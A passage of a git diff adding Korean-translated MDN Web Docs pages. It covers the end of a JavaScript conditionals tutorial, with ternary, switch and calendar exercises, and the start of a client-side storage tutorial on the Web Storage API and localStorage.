+  html.style.color = textColor;
+}
+
+select.onchange = function() {
+  ( select.value === 'black' ) ? update('black','white') : update('white','black');
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Ternary_operator_example', '100%', 300, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<p>여기에는  black이나 white의 테마를 고르기 위한 '{{htmlelement('select')}}' 엘리먼트가 있고, 여기에 더하여 웹사이트 제목을 보여주는 '{{htmlelement('h1')}}" 엘리먼트가 있다.  <code>update()</code> 함수를 덧붙이면 두 칼라를 입력 인수(parameter)로 선택할 수 있다. 웹사이트 배경 칼라가 첫 번째 칼라로 지정되고, 텍스트 칼라가 두 번째로 정해진다.</p>
+
+<p>끝으로,  '<a href="/en-US/docs/Web/API/GlobalEventHandlers/onchange">onchange</a>' 이벤트 리스너는 삼중연산자를 포함하는 함수를 움직('run')이게 합니다. <code>select.value === 'black' </code>조건을 테스트는 하는 것으로 시작하는데, 이 조건이 참이면  <code>update()</code> 함수가 배경색은 black으로 텍스트 색은  white로 동작하게 합니다. 이와는 반대로 select theme이  white로 선택되면(조건이 거짓이면) , <code>update()</code> 함수는  배경색은 white으로 텍스트 색은  black로 동작하게 합니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: You can also <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/simple-ternary.html">find this example on GitHub</a> (see it <a href="http://mdn.github.io/learning-area/javascript/building-blocks/simple-ternary.html">running live</a> on there also.)</p>
+</div>
+
+<h2 id="Active_learning_간단한_달력_만들기">Active learning: 간단한 달력 만들기</h2>
+
+<p>이 예제에서는 간단한 달력 어플리케이션을 만들어 볼겁니다. 코드에는 다음과 같은 것들이 들어 있습니다.</p>
+
+<ul>
+ <li>유저가 여러 달 중 특정 달을 고를 수 있게 하는 {{htmlelement("select")}} 요소.</li>
+ <li><code>&lt;select&gt;</code> 메뉴에서 선택된 값이 변경 되었음을 탐지하는 <code>onchange</code> 이벤트 핸들러.</li>
+ <li>{{htmlelement("h1")}} 요소에서 달력을 생성하고 올바른 달을 표시하는 <code>createCalendar()</code> 함수.</li>
+</ul>
+
+<p><code>onchange</code> 핸들러 함수내에 조건문을 작성해야 합니다. 위치는 <code>// ADD CONDITIONAL HERE</code> 주석 바로 아래입니다. 조건문은 다음을 만족해야 합니다:</p>
+
+<ol>
+ <li>선택한 달 보기(이것은 값이 변경된 후의 요소 값이 됨.) </li>
+ <li><code>days</code> 란 변수를 선택한 달의 일 수와 같게 하기. 다만 윤년은 무시할 수 있다.</li>
+</ol>
+
+<p>Hints:</p>
+
+<ul>
+ <li>논리연산자 OR을 사용해 동일한 일 수인 여러 달을 하나의 조건으로 그룹화 하기.</li>
+ <li>가장 흔한 일 수를 기본값을 사용하기.</li>
+</ul>
+
+<p>만약 실수를 하더라도 'Reset' 버튼으로 초기화 할 수 있습니다. 해답을 모르겠다면 "Show solution" 으로 해결방법을 확인하세요.</p>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Live output&lt;/h2&gt;
+&lt;div class="output" style="height: 500px;overflow: auto;"&gt;
+  &lt;label for="month"&gt;Select month: &lt;/label&gt;
+  &lt;select id="month"&gt;
+    &lt;option value="January"&gt;January&lt;/option&gt;
+    &lt;option value="February"&gt;February&lt;/option&gt;
+    &lt;option value="March"&gt;March&lt;/option&gt;
+    &lt;option value="April"&gt;April&lt;/option&gt;
+    &lt;option value="May"&gt;May&lt;/option&gt;
+    &lt;option value="June"&gt;June&lt;/option&gt;
+    &lt;option value="July"&gt;July&lt;/option&gt;
+    &lt;option value="August"&gt;August&lt;/option&gt;
+    &lt;option value="September"&gt;September&lt;/option&gt;
+    &lt;option value="October"&gt;October&lt;/option&gt;
+    &lt;option value="November"&gt;November&lt;/option&gt;
+    &lt;option value="December"&gt;December&lt;/option&gt;
+  &lt;/select&gt;
+
+  &lt;h1&gt;&lt;/h1&gt;
+
+  &lt;ul&gt;&lt;/ul&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
+
+&lt;textarea id="code" class="playable-code" style="height: 400px;width: 95%"&gt;
+var select = document.querySelector('select');
+var list = document.querySelector('ul');
+var h1 = document.querySelector('h1');
+
+select.onchange = function() {
+  var choice = select.value;
+
+  // ADD CONDITIONAL HERE
+
+  createCalendar(days, choice);
+}
+
+function createCalendar(days, choice) {
+  list.innerHTML = '';
+  h1.textContent = choice;
+  for (var i = 1; i &lt;= days; i++) {
+    var listItem = document.createElement('li');
+    listItem.textContent = i;
+    list.appendChild(listItem);
+  }
+}
+
+createCalendar(31,'January');
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.output * {
+  box-sizing: border-box;
+}
+
+.output ul {
+  padding-left: 0;
+}
+
+.output li {
+  display: block;
+  float: left;
+  width: 25%;
+  border: 2px solid white;
+  padding: 5px;
+  height: 40px;
+  background-color: #4A2DB6;
+  color: white;
+}
+
+html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = jsSolution;
+  solution.value = 'Show solution';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Show solution') {
+    textarea.value = solutionEntry;
+    solution.value = 'Hide solution';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Show solution';
+  }
+  updateCode();
+});
+
+var jsSolution = 'var select = document.querySelector(\'select\');\nvar list = document.querySelector(\'ul\');\nvar h1 = document.querySelector(\'h1\');\n\nselect.onchange = function() {\n var choice = select.value;\n var days = 31;\n if(choice === \'February\') {\n days = 28;\n } else if(choice === \'April\' || choice === \'June\' || choice === \'September\'|| choice === \'November\') {\n days = 30;\n }\n\n createCalendar(days, choice);\n}\n\nfunction createCalendar(days, choice) {\n list.innerHTML = \'\';\n h1.textContent = choice;\n for(var i = 1; i &lt;= days; i++) {\n var listItem = document.createElement(\'li\');\n listItem.textContent = i;\n list.appendChild(listItem);\n }\n }\n\ncreateCalendar(31,\'January\');';
+var solutionEntry = jsSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if(solution.value === 'Show solution') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', '100%', 1110, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h2 id="Active_learning_색깔_고르기">Active learning: 색깔 고르기</h2>
+
+<p>In this example you are going to take the ternary operator example we saw earlier and convert the ternary operator into a switch statement that will allow us to apply more choices to the simple website. Look at the {{htmlelement("select")}} — this time you'll see that it has not two theme options, but five. You need to add a switch statement just underneath the <code>// ADD SWITCH STATEMENT</code> comment:</p>
+
+<ul>
+ <li>It should accept the <code>choice</code> variable as its input expression.</li>
+ <li>For each case, the choice should equal one of the possible values that can be selected, i.e. white, black, purple, yellow, or psychedelic.</li>
+ <li>For each case, the <code>update()</code> function should be run, and be passed two color values, the first one for the background color, and the second one for the text color. Remember that color values are strings, so need to be wrapped in quotes.</li>
+</ul>
+
+<p>If you make a mistake, you can always reset the example with the "Reset" button. If you get really stuck, press "Show solution" to see a solution.</p>
+
+<div class="hidden">
+<h6 id="Playable_code_2">Playable code 2</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Live output&lt;/h2&gt;
+&lt;div class="output" style="height: 300px;"&gt;
+  &lt;label for="theme"&gt;Select theme: &lt;/label&gt;
+  &lt;select id="theme"&gt;
+    &lt;option value="white"&gt;White&lt;/option&gt;
+    &lt;option value="black"&gt;Black&lt;/option&gt;
+    &lt;option value="purple"&gt;Purple&lt;/option&gt;
+    &lt;option value="yellow"&gt;Yellow&lt;/option&gt;
+    &lt;option value="psychedelic"&gt;Psychedelic&lt;/option&gt;
+  &lt;/select&gt;
+
+  &lt;h1&gt;This is my website&lt;/h1&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
+
+&lt;textarea id="code" class="playable-code" style="height: 450px;width: 95%"&gt;
+var select = document.querySelector('select');
+var html = document.querySelector('.output');
+
+select.onchange = function() {
+  var choice = select.value;
+
+  // ADD SWITCH STATEMENT
+}
+
+function update(bgColor, textColor) {
+  html.style.backgroundColor = bgColor;
+  html.style.color = textColor;
+}&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = jsSolution;
+  solution.value = 'Show solution';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Show solution') {
+    textarea.value = solutionEntry;
+    solution.value = 'Hide solution';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Show solution';
+  }
+  updateCode();
+});
+
+var jsSolution = 'var select = document.querySelector(\'select\');\nvar html = document.querySelector(\'.output\');\n\nselect.onchange = function() {\n var choice = select.value;\n\n switch(choice) {\n case \'black\':\n update(\'black\',\'white\');\n break;\n case \'white\':\n update(\'white\',\'black\');\n break;\n case \'purple\':\n update(\'purple\',\'white\');\n break;\n case \'yellow\':\n update(\'yellow\',\'darkgray\');\n break;\n case \'psychedelic\':\n update(\'lime\',\'purple\');\n break;\n }\n}\n\nfunction update(bgColor, textColor) {\n html.style.backgroundColor = bgColor;\n html.style.color = textColor;\n}';
+var solutionEntry = jsSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if(solution.value === 'Show solution') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code_2', '100%', 950, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>And that's all you really need to know about conditional structures in JavaScript right now! I'm sure you'll have understood these concepts and worked through the examples with ease; if there is anything you didn't understand, feel free to read through the article again, or <a href="/en-US/Learn#Contact_us">contact us</a> to ask for help.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/Learn/JavaScript/First_steps/Math#Comparison_operators">Comparison operators</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Conditional_statements">Conditional statements in detail</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else">if...else reference</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator">Conditional (ternary) operator reference</a></li>
+</ul>
+
+<p>{{NextMenu("Learn/JavaScript/Building_blocks/Looping_code", "Learn/JavaScript/Building_blocks")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals">Making decisions in your code — conditionals</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code">Looping code</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions">Functions — reusable blocks of code</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">Build your own function</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Return_values">Function return values</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events">Introduction to events</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Image_gallery">Image gallery</a></li>
+</ul>
diff --git a/files/ko/learn/javascript/client-side_web_apis/client-side_storage/index.html b/files/ko/learn/javascript/client-side_web_apis/client-side_storage/index.html
new file mode 100644
index 0000000000..e2ac144050
--- /dev/null
+++ b/files/ko/learn/javascript/client-side_web_apis/client-side_storage/index.html
@@ -0,0 +1,780 @@
+---
+title: Client-side storage
+slug: Learn/JavaScript/Client-side_web_APIs/Client-side_storage
+translation_of: Learn/JavaScript/Client-side_web_APIs/Client-side_storage
+---
+<p>{{LearnSidebar}}</p>
+
+<div>{{PreviousMenu("Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}}</div>
+
+<div></div>
+
+<p class="summary">현대 웹 브라우저들은 (사용자의 허락 하에) 사용자 컴퓨터에 웹사이트 정보를 저장할 수 있는 다양한 방법을 제공합니다. 그리고 필요한때 그 정보들을 읽어오죠. 이는 당신이 장기간 데이터를 보관할 수 있게 해주고 사이트와 웹문서를 당신이 지정한 설정에 따라 오프라인 상태에서도 사용할수 있게 해줍니다. 이 문서는 이러한 것들이 어떻게 동작하는지에 대한 기본지식들을 설명합니다.  </p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisites:</th>
+   <td>JavaScript basics (see <a href="/en-US/docs/Learn/JavaScript/First_steps">first steps</a>, <a href="/en-US/docs/Learn/JavaScript/Building_blocks">building blocks</a>, <a href="/en-US/docs/Learn/JavaScript/Objects">JavaScript objects</a>), the <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">basics of Client-side APIs</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Objective:</th>
+   <td>To learn how to use client-side storage APIs to store application data.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Client-side_storage">Client-side storage?</h2>
+
+<p>우리는 다른 MDN 학습영역에서 <a href="/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview#Static_sites">정적인 사이트</a>와 <a href="/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview#Dynamic_sites">동적인 사이트</a>에 대해 이미 설명하였습니다. 현대의 대부분의 웹사이트들은 어떤 데이터베이스(서버의 저장소)를 이용하여 서버에 데이터를 저장하고, 필요한 데이터를 찾아오기 위해 <a href="/en-US/docs/Learn/Server-side">서버-사이드</a> 코드를 돌리고, 정적인 페이지 템플릿에 데이터를 삽입하고, HTML 결과물을 사용자의 브라우저에 표시될 수 있게 제공합니다 - 즉 동적입니다.</p>
+
+<p>클라이언트-사이드 저장소는 비슷한 원리로 작동하지만, 다르게 쓰입니다. 이것은 개발자가 클라이언트 측(사용자의 컴퓨터 등)에 데이터를 저장할 수 있고 필요할 때 가져올 수 있게 해주는 자바스크립트 API로 구성되어 있습니다. 이것의 다양한 용도는 다음과 같습니다.</p>
+
+<ul>
+ <li>웹사이트에 대한 선호를 개인화하기(사용자가 선택한 커스텀 위젯, 배색, 폰트 크기로 보여주기)</li>
+ <li>이전 활동 기록 저장하기(이전 세션에 담았던 장바구니 목록 저장하기, 로그인 유지하기)</li>
+ <li>사이트 다운로드가 빨라지고(잠재적으로 비용이 적게 들어가고) 네트워크 연결 없이도 사용할 수 있게끔 데이터를 로컬에 저장하기</li>
+ <li>오프라인 상태에서 사용할 수 있도록 웹 어플리케이션 생성 문서를 로컬에 저장하기</li>
+</ul>
+
+<p>클라이언트-사이드 저장소와 서버-사이드 저장소는 대개 함께 사용됩니다. 예를 들면, 당신은 (아마도 웹 게임이나 음악 재생 어플리케이션에서 사용할)음악 파일 여러 개를 다운받아 클라이언트-사이드 데이터베이스에 저장하고 필요할 때 재생할 수 있습니다. 사용자는 음악 파일을 한번만 다운받고, 재방문 시에는 데이터베이스에서 가져오기만 하면 됩니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: There are limits to the amount of data you can store using client-side storage APIs (possibly both per individual API and cumulatively); the exact limit varies depending on the browser and possibly based on user settings. See <a href="/en-US/docs/Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria">Browser storage limits and eviction criteria</a> for more information.</p>
+</div>
+
+<h3 id="Old_fashioned_cookies">Old fashioned: cookies</h3>
+
+<p>클라이언트-사이드 저장소에 대한 개념은 오래전부터 있었습니다. 웹의 태동기 시절, 웹 사이트들은 사용자 경험(UX)을 개인화하는 정보들을 저장하기 위해 <a href="/en-US/docs/Web/HTTP/Cookies">cookies</a>를 사용했습니다. 그것들이 웹에서 보편적으로 사용된 클라이언트-사이드 저장소의 제일 오래된 형태입니다.</p>
+
+<p>오늘날에는 클라이언트 사이드에 데이터를 저장하는 더 쉬운 방법이 있지만, 이 문서에서 cookies를 사용하는 법을 가르쳐 주지는 않습니다. 그러나, 이것이 현대의 웹에서 cookies가 완벽하게 쓸모없다는 것을 뜻하지는 않습니다. cookies는 세션 ID나 access token 같은 사용자 상태와 개인화에 관련된 정보를 저장하는데 여전히 보편적으로 쓰입니다. cookies에 대한 더 자세한 정보는 우리의 <a href="/en-US/docs/Web/HTTP/Cookies">Using HTTP cookies</a> 문서를 참고하세요.</p>
+
+<h3 id="New_school_Web_Storage_and_IndexedDB">New school: Web Storage and IndexedDB</h3>
+
+<p>현대의 브라우저들은 클라이언트-사이드 데이터를 저장하는 데에 cookies보다 더 쉽고 더 효율적인 API들을 제공합니다.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Storage_API">Web Storage API</a>는 이름과 대응되는 값으로 이루어진 더 작은 데이터를 저장하고 가져오는 매우 간단한 기능을 제공합니다. 이것은 사용자 이름과 로그인 여부, 스크린 배경색을 어떤 색으로 할지 등등 같은 간단한 데이터를 저장할 필요가 있을 때 유용합니다. </li>
+ <li><a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB API</a>는 복잡한 데이터를 저장할 수 있는 완벽한 데이터베이스를 브라우저에서 제공할 수 있게 해줍니다. 이것은 소비자 기록의 복잡한 데이터셋부터 오디오나 비디오 파일같은 더욱 복잡한 데이터까지 저장하는 데에 쓰일 수 있습니다.</li>
+</ul>
+
+<p>밑에서 이런 API들을 더 배울 수 있습니다.</p>
+
+<h3 id="The_future_Cache_API">The future: Cache API</h3>
+
+<p>몇몇 현대적인 브라우저들은 새로운 {{domxref("Cache")}} API를 제공합니다. 이 API는 특정 requests에 대한 HTTP responses를 저장하기 위해 디자인되었고, 웹사이트가 차후에 네트워크 연결 없이도 사용될 수 있도록 사이트 정보를 저장하는 등의 일을 하는데 유용합니다. Cache는 일반적으로 <a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a>와 함께 사용되지만, 꼭 그럴 필요는 없습니다.</p>
+
+<p>Cache와 Service Workers의 사용은 심화 주제이므로 이 문서에서는 아래의 {{anch("Offline asset storage")}} 섹션에서 보여주는 것 이상으로 깊게 다루지는 않을 것입니다.</p>
+
+<h2 id="Storing_simple_data_—_web_storage">Storing simple data — web storage</h2>
+
+<p>The <a href="/en-US/docs/Web/API/Web_Storage_API">Web Storage API</a> is very easy to use — you store simple name/value pairs of data (limited to strings, numbers, etc.) and retrieve these values when needed.</p>
+
+<h3 id="Basic_syntax">Basic syntax</h3>
+
+<p>Let's show you how:</p>
+
+<ol>
+ <li>
+  <p>First, go to our <a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/web-storage/index.html">web storage blank template</a> on GitHub (open this in a new tab).</p>
+ </li>
+ <li>
+  <p>Open the JavaScript console of your browser's developer tools.</p>
+ </li>
+ <li>
+  <p>All of your web storage data is contained within two object-like structures inside the browser: {{domxref("Window.sessionStorage", "sessionStorage")}} and {{domxref("Window.localStorage", "localStorage")}}. The first one persists data for as long as the browser is open (the data is lost when the browser is closed) and the second one persists data even after the browser is closed and then opened again. We'll use the second one in this article as it is generally more useful.</p>
+
+  <p>The {{domxref("Storage.setItem()")}} method allows you to save a data item in storage — it takes two parameters: the name of the item, and its value. Try typing this into your JavaScript console (change the value to your own name, if you wish!):</p>
+
+  <pre class="brush: js notranslate">localStorage.setItem('name','Chris');</pre>
+ </li>
+ <li>
+  <p>The {{domxref("Storage.getItem()")}} method takes one parameter — the name of a data item you want to retrieve — and returns the item's value. Now type these lines into your JavaScript console:</p>
+
+  <pre class="brush: js notranslate">var myName = localStorage.getItem('name');
+myName</pre>
+
+  <p>Upon typing in the second line, you should see that the <code>myName</code> variable now contains the value of the <code>name</code> data item.</p>
+ </li>
+ <li>
+  <p>The {{domxref("Storage.removeItem()")}} method takes one parameter — the name of a data item you want to remove — and removes that item out of web storage. Type the following lines into your JavaScript console:</p>
+
+  <pre class="brush: js notranslate">localStorage.removeItem('name');
+var myName = localStorage.getItem('name');
+myName</pre>
+
+  <p>The third line should now return <code>null</code> — the <code>name</code> item no longer exists in the web storage.</p>
+ </li>
+</ol>
+
+<h3 id="The_data_persists!">The data persists!</h3>
+
+<p>One key feature of web storage is that the data persists between page loads (and even when the browser is shut down, in the case of <code>localStorage</code>). Let's look at this in action.</p>
+
+<ol>
+ <li>
+  <p>Open our web storage blank template again, but this time in a different browser to the one you've got this tutorial open in! This will make it easier to deal with.</p>
+ </li>
+ <li>
+  <p>Type these lines into the browser's JavaScript console:</p>
+
+  <pre class="brush: js notranslate">localStorage.setItem('name','Chris');
+var myName = localStorage.getItem('name');
+myName</pre>
+
+  <p>You should see the name item returned.</p>
+ </li>
+ <li>
+  <p>Now close down the browser and open it up again.</p>
+ </li>
+ <li>
+  <p>Enter the following lines again:</p>
+
+  <pre class="brush: js notranslate">var myName = localStorage.getItem('name');
+myName</pre>
+
+  <p>You should see that the value is still available, even though the browser has been closed and then opened again.</p>
+ </li>
+</ol>
+
+<h3 id="Separate_storage_for_each_domain">Separate storage for each domain</h3>
+
+<p>There is a separate data store for each domain (each separate web address loaded in the browser). You will see that if you load two websites (say google.com and amazon.com) and try storing an item on one website, it won't be available to the other website.</p>
+
+<p>This makes sense — you can imagine the security issues that would arise if websites could see each other's data!</p>
+
+<h3 id="A_more_involved_example">A more involved example</h3>
+
+<p>Let's apply this new-found knowledge by writing a simple working example to give you an idea of how web storage can be used. Our example will allow you enter a name, after which the page will update to give you a personalized greeting. This state will also persist across page/browser reloads, because the name is stored in web storage.</p>
+
+<p>You can find the example HTML at <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/web-storage/personal-greeting.html">personal-greeting.html</a> — this contains a simple website with a header, content, and footer, and a form for entering your name.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15735/web-storage-demo.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Let's build up the example, so you can understand how it works.</p>
+
+<ol>
+ <li>
+  <p>First, make a local copy of our <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/client-side-storage/web-storage/personal-greeting.html">personal-greeting.html</a> file in a new directory on your computer.</p>
+ </li>
+ <li>
+  <p>Next, note how our HTML references a JavaScript file called <code>index.js</code> (see line 40). We need to create this and write our JavaScript code into it. Create an <code>index.js</code> file in the same directory as your HTML file. </p>
+ </li>
+ <li>
+  <p>We'll start off by creating references to all the HTML features we need to manipulate in this example — we'll create them all as constants, as these references do not need to change in the lifecycle of the app. Add the following lines to your JavaScript file:</p>
+
+  <pre class="brush: js notranslate">// create needed constants
+const rememberDiv = document.querySelector('.remember');
+const forgetDiv = document.querySelector('.forget');
+const form = document.querySelector('form');
+const nameInput = document.querySelector('#entername');
+const submitBtn = document.querySelector('#submitname');
+const forgetBtn = document.querySelector('#forgetname');
+
+const h1 = document.querySelector('h1');
+const personalGreeting = document.querySelector('.personal-greeting');</pre>
+ </li>
+ <li>
+  <p>Next up, we need to include a small event listener to stop the form from actually submitting itself when the submit button is pressed, as this is not the behavior we want. Add this snippet below your previous code:</p>
+
+  <pre class="brush: js notranslate">// Stop the form from submitting when a button is pressed
+form.addEventListener('submit', function(e) {
+  e.preventDefault();
+});</pre>
+ </li>
+ <li>
+  <p>Now we need to add an event listener, the handler function of which will run when the "Say hello" button is clicked. The comments explain in detail what each bit does, but in essence here we are taking the name the user has entered into the text input box and saving it in web storage using <code>setItem()</code>, then running a function called <code>nameDisplayCheck()</code> that will handle updating the actual website text. Add this to the bottom of your code:</p>
+
+  <pre class="brush: js notranslate">// run function when the 'Say hello' button is clicked
+submitBtn.addEventListener('click', function() {
+  // store the entered name in web storage
+  localStorage.setItem('name', nameInput.value);
+  // run nameDisplayCheck() to sort out displaying the
+  // personalized greetings and updating the form display
+  nameDisplayCheck();
+});</pre>
+ </li>
+ <li>
+  <p>At this point we also need an event handler to run a function when the "Forget" button is clicked — this is only displayed after the "Say hello" button has been clicked (the two form states toggle back and forth). In  this function we remove the <code>name</code> item from web storage using <code>removeItem()</code>, then again run <code>nameDisplayCheck()</code> to update the display. Add this to the bottom:</p>
+
+  <pre class="brush: js notranslate">// run function when the 'Forget' button is clicked
+forgetBtn.addEventListener('click', function() {
+  // Remove the stored name from web storage
+  localStorage.removeItem('name');
+  // run nameDisplayCheck() to sort out displaying the
+  // generic greeting again and updating the form display
+  nameDisplayCheck();
+});</pre>
+ </li>
+ <li>
+  <p>It is now time to define the <code>nameDisplayCheck()</code> function itself. Here we check whether the name item has been stored in web storage by using <code>localStorage.getItem('name')</code> as a conditional test. If it has been stored, this call will evaluate to <code>true</code>; if not, it will be <code>false</code>. If it is <code>true</code>, we display a personalized greeting, display the "forget" part of the form, and hide the "Say hello" part of the form. If it is <code>false</code>, we display a generic greeting and do the opposite. Again, put the following code at the bottom:</p>
+
+  <pre class="brush: js notranslate">// define the nameDisplayCheck() function
+function nameDisplayCheck() {
+  // check whether the 'name' data item is stored in web Storage
+  if(localStorage.getItem('name')) {
+    // If it is, display personalized greeting
+    let name = localStorage.getItem('name');
+    h1.textContent = 'Welcome, ' + name;
+    personalGreeting.textContent = 'Welcome to our website, ' + name + '! We hope you have fun while you are here.';
+    // hide the 'remember' part of the form and show the 'forget' part
+    forgetDiv.style.display = 'block';
+    rememberDiv.style.display = 'none';
+  } else {
+    // if not, display generic greeting
+    h1.textContent = 'Welcome to our website ';
+    personalGreeting.textContent = 'Welcome to our website. We hope you have fun while you are here.';
+    // hide the 'forget' part of the form and show the 'remember' part
+    forgetDiv.style.display = 'none';
+    rememberDiv.style.display = 'block';
+  }
+}</pre>
+ </li>
+ <li>
+  <p>Last but not least, we need to run the <code>nameDisplayCheck()</code> function every time the page is loaded. If we don't do this, then the personalized greeting will not persist across page reloads. Add the following to the bottom of your code:</p>
+
+  <pre class="brush: js notranslate">document.body.onload = nameDisplayCheck;</pre>
+ </li>
+</ol>
+
+<p>Your example is finished — well done! All that remains now is to save your code and test your HTML page in a browser. You can see our <a href="https://mdn.github.io/learning-area/javascript/apis/client-side-storage/web-storage/personal-greeting.html">finished version running live here</a>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: There is another, slightly more complex example to explore at <a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a>.</p>
+</div>
+
+<div class="note">
